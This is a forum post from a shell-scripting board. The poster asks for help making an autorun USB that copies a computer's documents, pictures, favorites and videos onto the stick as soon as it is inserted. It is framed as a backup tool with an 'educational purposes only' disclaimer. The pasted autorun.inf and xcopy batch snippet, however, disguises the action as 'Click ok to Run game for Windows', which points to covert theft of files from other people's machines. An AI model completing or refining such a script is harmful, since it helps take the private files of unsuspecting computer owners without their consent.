shell-scripting @ DaniWeb - Hello fellow members, I would like to ask for your assistance in creating a batch/autorun/exe file which can help me to make an autorun usb.
So basically, I would like the USB to do the following:
When usb is inserted, it should autorun and copy files from the computer. The files which I would like to be copied would be, my documents, pictures, favorites, etc. In other words, the part of the C: Drive which the user has editied. (MOSTLY THE DOCUMENTS). I would find this useful, as when backup is needed for any of my computers I could just plug in my usb, and it will do all the work for me. This program is intended for educational purposes only, and any illegal use of it will not be permissive. Also, anyone who posts will not be held accountable if so were to happen.
ANY HELP IS GREATLY APPRECIATED, THANKS IN ADVANCE!!!
I have found this, but unsure whether this would work properly, I believe it has some errors.
action=Click ok to Run game for Windows
When finished Save As.. and name file autorun change
the extention to .inf
set backupcmd=xcopy /s /c /d /e /h /i /r /y
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"